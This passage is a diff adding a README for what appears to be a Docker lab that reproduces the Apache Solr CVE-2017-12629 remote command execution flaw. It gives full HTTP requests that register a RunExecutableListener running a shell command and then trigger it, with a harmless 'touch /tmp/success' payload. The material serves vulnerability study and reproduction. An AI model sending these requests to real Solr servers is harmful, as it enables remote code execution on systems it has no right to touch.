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solr/CVE-2017-12629-RCE/README.md

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+# Apache Solr Remote Command Execution (CVE-2017-12629)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Apache Solr is an open-source search server. It is written in Java and built upon Apache Lucene. Before version 7.1.0, two vulnerabilities were discovered: XML External Entity (XXE) and Remote Command Execution (RCE), both numbered as CVE-2017-12629. These two vulnerabilities can be chained together to form an attack chain.
+
+This environment demonstrates the RCE vulnerability.
+
+References:
+
+- <https://www.exploit-db.com/exploits/43009/>
+- <https://paper.seebug.org/425/>
+
+## Environment Setup
+
+Execute the following command to start an Apache Solr 7.0.1 server:
+
+```
+docker compose up -d
+```
+
+After the server starts, you can access the Apache Solr management interface at `http://your-ip:8983/`. No authentication is required.
+
+## Vulnerability Reproduction
+
+First, create a listener by setting the `exe` value to the command you want to execute and the `args` value to the command parameters:
+
+```
+POST /solr/demo/config HTTP/1.1
+Host: your-ip
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+Content-Length: 158
+
+{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}
+```
+
+![](1.png)
+
+Then, trigger the listener by performing an update operation:
+
+```
+POST /solr/demo/update HTTP/1.1
+Host: your-ip
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+Content-Type: application/json
+Content-Length: 15
+
+[{"id":"test"}]
+```
+
+![](2.png)
+
+Execute `docker compose exec solr bash` to enter the container, and you can see that `/tmp/success` has been successfully created:
+
+![](3.png)